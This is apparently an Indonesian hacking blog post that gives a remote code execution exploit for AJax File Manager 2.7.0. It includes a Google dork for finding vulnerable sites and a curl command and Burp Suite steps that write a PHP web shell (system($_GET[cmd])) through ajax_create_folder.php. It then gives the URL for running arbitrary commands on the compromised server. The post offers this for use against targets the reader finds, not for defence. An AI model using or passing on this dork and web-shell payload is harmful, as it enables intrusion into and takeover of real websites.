AJax File Manager 2.7.0 < Remote Code Execution






> DORK: inurl:/ajaxfile*/ intext:"Index of"
> REFERENSI: GOOGLE wakakaka
> PAYLOAD: site.com/path/ajaxfilemanager/ajax_create_folder.php
> ANGGAP GW UDAH ADA TARGET EA
> START >>>
{error:'Please give it a name.'} Tandanya kita bisa buat folder :D ( GK SEMUA VULN )

LETS EXPLOIT >
exploit:
CURL -> curl SITE.COM --data "params=<?php echo __DIR__;system($_GET[cmd]);die;?>"
BURP -> tinggal Intercept di site.com/path/ajaxfilemanager/ajax_create_folder.php ADD TO REPEATER -> Tinggal tambahin payload params=<?php echo __DIR__;system($_GET[cmd]);die;?>
DI BODY v;

OKE LETS EXPLOIT :D
OKE KITA LIAT HASIL NYA Di site.com/ajaxfilemanager/inc/data.php
REMOTE CODENYA : site.com/ajaxfilemanager/inc/data.php?cmd={COMMAND}

- Rintod -

0 Response to "AJax File Manager 2.7.0 < Remote Code Execution"

Post a Comment

Iklan Tengah Artikel 1

Iklan Tengah Artikel 2

Iklan Bawah Artikel